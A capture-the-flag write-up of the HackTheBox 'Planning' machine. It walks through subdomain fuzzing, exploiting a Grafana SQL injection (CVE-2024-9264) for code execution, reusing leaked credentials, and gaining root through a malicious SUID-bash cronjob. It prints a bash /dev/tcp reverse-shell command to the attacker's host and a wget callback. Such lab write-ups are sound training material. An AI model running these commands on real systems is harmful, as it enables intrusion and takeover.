Planning Writeup (HackTheBox Easy Machine)
As is common in real life pentests, you will start the Planning box with credentials for the following account: “admin” / “0D5oT70Fq13EvB5r”.
Overview
Planning is an easy Linux machine from HackTheBox. This is a beginner-friendly box, which consists of several simple challenges, but can be tricky at times. Careful enumeration is the key.
We start with discovering secret subdomain, which hosts Grafana monitoring system. We exploit a SQL injection, which leads to RCE and we get a shell on Docker container.
We find pair of credentials in between environment variables and use them to login into the machine. Next, we find an internal service for managing cronjobs, which we access with other credentials found in cronjob database file. We then add our malicious cronjob and get root shell.
Nmap scan
Starting with Nmap scan.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.11.68 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 04:28 EDT
Nmap scan report for 10.10.11.68
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 33.95 ms 10.10.14.1
2 33.98 ms 10.10.11.68
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.46 secondsThe Nmap scan showed 2 open ports. Port 22 for SSH and port 80 for Nginx HTTP server. Don’t forget to add the “planning.htb” domain to your “/etc/hosts” file.
Since we got a pair of credentials right from the start, I tried to login into the machine via SSH with them. Unfortunately, it looks like those aren’t for SSH.
┌──(kali㉿kali)-[~]
└─$ ssh admin@planning.htb
admin@planning.htb's password:
Permission denied, please try again.Web enumeration
I visited the website named “Edukate”, which presents itself as a platform with educational content. Browser plugin Wappalyzer found the presence of PHP in the backend.

Next, I ran Gobuster to perform directory fuzzing. Gobuster returned couple interesting results.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://planning.htb" -w /usr/share/wordlists/dirb/big.txt -t 64 -r -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://planning.htb
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about.php (Status: 200) [Size: 12727]
/contact.php (Status: 200) [Size: 10632]
/course.php (Status: 200) [Size: 10229]
/css (Status: 403) [Size: 162]
/detail.php (Status: 200) [Size: 13006]
/enroll.php (Status: 200) [Size: 7053]
/img (Status: 403) [Size: 162]
/index.php (Status: 200) [Size: 23914]
/js (Status: 403) [Size: 162]
/lib (Status: 403) [Size: 162]
Progress: 40938 / 40940 (100.00%)During the website enumeration phase, it’s always a good practice to look at the source code and network traffic. Here I checked the source code and saw couple weird comments written in Spanish.
![]() |
| Spanish comments in the website’s source code |
To be honest, I spent some time on this website, tested all input fields but got nowhere. Those Spanish comments are actually a hint. During fuzzing, we should be actually using Spanish wordlists. I used FFuF to perform subdomain fuzzing with a SecLists Spanish wordlist and got one result back.
┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://planning.htb" -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-spanish.txt -H "HOST: FUZZ.planning.htb" -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-spanish.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 58ms]
:: Progress: [5370/5370] :: Job [1/1] :: 375 req/sec :: Duration: [0:00:06] :: Errors: 0 ::Don’t forget to add “grafana.planning.htb” to your “/etc/hosts” file. I visited the subdomain and was greeted with a Grafana login page.

Grafana is an open-source platform used for monitoring, observability, and data visualization. It allows users to query, visualize, alert on, and understand metrics and logs from various data sources. (ChatGPT)
There was Grafana version exposed at the bottom of the page, too. It was running Grafana v11.0.0.

We can finally use the credentials we got from the start. And we get access to Grafana dashboard.

Exploiting SQL injection (RCE, file read) in Grafana & getting reverse shell
Before digging into the dashboard itself, I went on the internet and researched this Grafana v11.0.0 software. It didn’t take long to find this Github repository with an authenticated DuckDB SQL injection exploit, leading to RCE: https://github.com/nollium/CVE-2024-9264.

So I quickly downloaded the exploit and installed all necessary requirements. After that, just to test the exploit, I set up a Python server which I will try to reach with my Grafana exploit.
I provided the credentials, URL and command and ran the exploit. And it reached my Python server.
┌──(venv)─(kali㉿kali)-[~]
└─$ python3 exploit.py
usage: exploit.py [-h] [-u USER] [-p PASSWORD] [-f FILE] [-q QUERY] [-c COMMAND] url
exploit.py: error: the following arguments are required: url
┌──(venv)─(kali㉿kali)-[~]
└─$ python3 exploit.py -u admin -p 0D5oT70Fq13EvB5r -c "wget http://10.10.14.24:9000/hacked" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: wget http://10.10.14.24:9000/hacked
[-] Unexpected response format:
[-] {
"results": {
"B": {
"error": "exit status 1IO Error: Pipe process exited with non-zero exit code=\"8\": wget http://10.10.14.24:9000/hacked >/tmp/grafana_cmd_output 2>&1 |\n",
"errorSource": "",
"status": 500,
"frames": []
}
}
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
--2025-05-12 06:36:39-- http://10.10.14.24:9000/hacked
Connecting to 10.10.14.24:9000... connected.
HTTP request sent, awaiting response... 404 File not found
2025-05-12 06:36:39 ERROR 404: File not found.┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.11.68 - - [12/May/2025 04:13:32] code 404, message File not found
10.10.11.68 - - [12/May/2025 04:13:32] "GET /hacked HTTP/1.1" 404 -So I changed my command to give me a reverse shell with Bash and ran the exploit again.
┌──(venv)─(kali㉿kali)-[~]
└─$ python3 exploit.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.24/1234 0>&1"' http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: bash -c "bash -i >& /dev/tcp/10.10.14.24/1234 0>&1"┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.68] 40994
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~# id
id
uid=0(root) gid=0(root) groups=0(root)Docker container & getting user flag
I got the initial foothold on the machine as user “root”, but landed in a Docker container.
![]() |
| file “.dockerenv” indicating a Docker container |
Docker is a platform for developing, shipping, and running applications in lightweight containers. A container is like a lightweight, portable virtual machine, but without the overhead of running an entire operating system. It packages an application along with all of its dependencies and runs it in an isolated environment. (ChatGPT)
Now, our goal should be to escape this Docker container and gain access to the host filesystem by abusing Docker misconfigurations. I transferred Linpeas onto the container and ran it, so I don’t have to enumerate everything manually.
Linpeas correctly detected that we are in a Docker container and highlighted a potential privilege escalation vector. It looked like the “/proc” directory had been mounted onto the container.
![]() |
| Linpeas found PE vector, mounted “/proc” directory |
BUT HERE COMES THE TWIST! Just because we land in a Docker container doesn’t mean that we have to break out of it to make progress. Actually, this is that special situation where testing for common privilege escalation vectors brings us the goodies.
I figured this out while looking at the Linpeas output, specifically at environment variables. There were 2 strange variables called “GF_SECURITY_ADMIN*”, storing what looked like credentials.

Just to be sure, I grabbed them and tried them against the SSH. To my surprise, those were valid credentials and I logged in as user “enzo”. The user flag was sitting in Enzo’s home directory.
enzo@planning:~$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
enzo@planning:~$ ls -la
total 32
drwxr-x--- 4 enzo enzo 4096 Apr 3 13:49 .
drwxr-xr-x 3 root root 4096 Feb 28 16:22 ..
lrwxrwxrwx 1 root root 9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 enzo enzo 3771 Mar 31 2024 .bashrc
drwx------ 2 enzo enzo 4096 Apr 3 13:49 .cache
-rw-r--r-- 1 enzo enzo 807 Mar 31 2024 .profile
drwx------ 2 enzo enzo 4096 Feb 28 16:22 .ssh
-rw-r----- 1 root enzo 33 May 12 11:10 user.txtCreating malicious cronjob & getting root flag
As usual, I went down my checklist of privilege escalation attack vectors, checking sudo permissions, SUID binaries, environment variables and so on. When I looked at active TCP listening sockets with command “netstat -tlnp”, I saw couple services running internally on different ports.
enzo@planning:~$ netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:35121 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN - A lot of common ports with known services. But particularly interesting were ports 3000 and 8000.
I forwarded those 2 ports via SSH and visited them through Firefox.
┌──(kali㉿kali)-[~]
└─$ ssh enzo@planning.htb -L 3000:localhost:3000 -L 8000:localhost:8000Port 3000 was hosting the Grafana service. We already saw this one.

But port 8000 was more interesting, because it prompted me to enter credentials.

I tried both pair of credentials I got, tried couple combinations, but couldn’t get a successful login. We probably have to do some more digging on the machine to find the right pair.
I re-ran my trusty Linpeas again, scrutinized every bit of output and looked at lot of files. Ultimately, I came across this list of readable database files.
![]() |
| database files found by Linpeas |
“Crontab.db” was the one that caught my eye, because it’s a very unusual file to have in “/opt” directory, which is also known to store third-party software. Always check the “/opt” directory!
I looked at the “crontab.db” file, which stored a JSON entry with a “command” attribute. Inside, there was a Docker command with couple flags, including completely new password.
![]() |
| exposed password in cronjob database file |
I immediately tried this password on the port 8000 login page. And it worked with username “root”.

The website was titled “Crontab UI” and contained a list of active running cronjobs on the machine, including the Docker cronjob that got us here. Lucky for us, we have root permissions here.

So I set up my own cronjob. This one copied the “/bin/bash” binary into the “/tmp” directory every minute and set the SUID bit, so any user can run it as Root.
![]() |
| adding malicious cronjob, that makes a copy of “/bin/bash” and sets the SUID bit |

You can run the cronjob immediately or wait a bit. Once it runs, a copy of “/bin/bash” should be present in “/tmp” with the SUID bit set. You can simply invoke a shell with “./root_shell -p”. The root flag is waiting in the “/root” directory, sealing this machine.
enzo@planning:/tmp$ ls -la root_bash
-rwsr-sr-x 1 root root 1446024 May 12 16:57 root_bash
enzo@planning:/tmp$ ./root_bash -p
root_bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) egid=0(root) groups=0(root),1000(enzo)
root_bash-5.2# cd /root
root_bash-5.2# ls -la
total 40
drwx------ 6 root root 4096 May 12 14:03 .
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ..
lrwxrwxrwx 1 root root 9 Feb 28 20:41 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
drwx------ 2 root root 4096 Apr 1 11:08 .cache
-rw------- 1 root root 20 Apr 3 15:18 .lesshst
drwxr-xr-x 4 root root 4096 Feb 28 19:01 .npm
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
-rw-r----- 1 root root 33 May 12 14:03 root.txt
drwxr-xr-x 2 root root 4096 Apr 3 12:54 scripts
drwx------ 2 root root 4096 Feb 28 16:22 .sshSummary & final thoughts
Planning is an easy machine from HackTheBox. This box consists of several fairly simple challenges, but requires very careful enumeration. Spanish comments in the website’s source code leads us to using a Spanish wordlist during directory and subdomain fuzzing. We then discover Grafana monitoring service, hosted on found subdomain. We research given Grafana version and find a SQL injection vulnerability, which leads to arbitrary file read and remote code execution. We get an initial foothold, but on the Docker container. We don’t have to escape it on this box, because we find one user’s credentials in between the environment variables. Once we got the access to the target machine, we discover an internal service, hosting a cronjob manager. We find credentials to this service in hidden cronjob database file. We add our own malicious cronjob, which gives us a copy of Bash binary, which we use to spawn the root shell. In my opinion, this machine gives some mixed experiences, mainly due to the pre-exploitation phase. I kinda liked that we had to use a different, non-standard wordlist, because it shows how important is deep enumeration and reconnaissance. Rest of the machine felt relatively straightforward and simple. I got a bit excited when I saw the Docker container, but escaping it wasn’t the correct path, it was much simpler than that. But still, a lot of good vulnerabilities. Recommending to any beginner/intermediate cybersecurity enthusiast.






Comments
Post a Comment